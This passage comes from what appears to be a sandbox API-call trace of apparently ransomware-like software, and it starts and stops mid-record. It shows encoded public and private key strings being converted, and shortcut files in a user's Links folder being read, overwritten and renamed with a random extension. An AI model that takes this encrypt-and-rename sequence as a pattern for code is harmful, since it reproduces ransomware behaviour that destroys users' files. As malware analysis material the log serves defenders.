Oyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.391] GetCurrentThreadId () returned 0xa30 [0126.391] GetCurrentThreadId () returned 0xa30 [0126.391] GetCurrentThreadId () returned 0xa30 [0126.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.392] GetCurrentThreadId () returned 0xa30 [0126.392] GetCurrentThreadId () returned 0xa30 [0126.392] GetCurrentThreadId () returned 0xa30 [0126.392] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0126.393] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0126.393] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0126.393] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x37e [0126.393] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0126.393] ReadFile (in: hFile=0x1ec, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f6a0*=0x37e, lpOverlapped=0x0) returned 1 [0126.407] CloseHandle (hObject=0x1ec) returned 1 [0126.407] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0126.409] WriteFile (in: hFile=0x1ec, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f6ac*=0x37e, lpOverlapped=0x0) returned 1 [0126.411] CloseHandle (hObject=0x1ec) returned 1 [0126.412] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Downloads.lnk.Zv7uN" (normalized: "c:\\users\\default\\links\\downloads.lnk.zv7un")) returned 1 [0126.413] GetCurrentThreadId () returned 0xa30 [0126.413] GetCurrentThreadId () returned 0xa30 [0126.413] GetCurrentThreadId () returned 0xa30 [0126.413] GetCurrentThreadId () returned 0xa30 [0126.413] GetCurrentThreadId () returned 0xa30 [0126.413] GetCurrentThreadId () returned 0xa30 [0126.413] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0126.413] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.413] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.413] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b)) returned 1 [0126.415] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk")) returned 0x20 [0126.415] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk", dwFileAttributes=0x80) returned 1 [0126.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.418] GetCurrentThreadId () returned 0xa30 [0126.418] GetCurrentThreadId () returned 0xa30 [0126.418] GetCurrentThreadId () returned 0xa30 [0126.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.419] GetCurrentThreadId () returned 0xa30 [0126.419] GetCurrentThreadId () returned 0xa30 [0126.419] GetCurrentThreadId () returned 0xa30 [0126.419] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0126.419] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0126.419] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0126.420] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: 